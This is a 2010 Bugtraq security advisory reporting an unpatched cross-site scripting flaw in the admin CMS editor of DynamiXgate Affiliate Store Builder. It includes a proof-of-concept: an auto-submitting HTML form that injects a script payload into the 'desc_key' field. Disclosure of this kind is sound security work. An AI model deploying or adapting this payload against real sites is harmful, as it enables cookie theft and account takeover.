bugtraq - XSS in DynamiXgate Affiliate Store Builder

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Date: Tue, 11 May 2010 15:01:28 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS in DynamiXgate Affiliate Store Builder

Vulnerability ID: HTB22362
Reference: http://www.htbridge.ch/advisory/xss_in_dynamixgate.html
Product: DynamiXgate Affiliate Store Builder
Vendor: DynamiXgate Team
Vulnerable Version: Current version at 2010, April
Vendor Notification: 27 April 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application. 

The vulnerability exists due to failure in the "/admin/edit_cms.php" script to properly sanitize user-supplied input in "desc_key" and other variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following sample PoC is available:

<form action='http://www.example.com/admin/edit_cms.php?page=1' name="frm" method='post'  >
<input name="title" type="hidden" value="Home"/>
<input name="type" type="hidden" value="header"/>
<input name="desc_meta" type="hidden" value="page+desc" />
<input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' />
<input name="cms_id" type="hidden" value="1" />
<input name="edit_page" type="hidden" value="Edit+Page" />
</form>
<script>
document.frm.submit();
</script>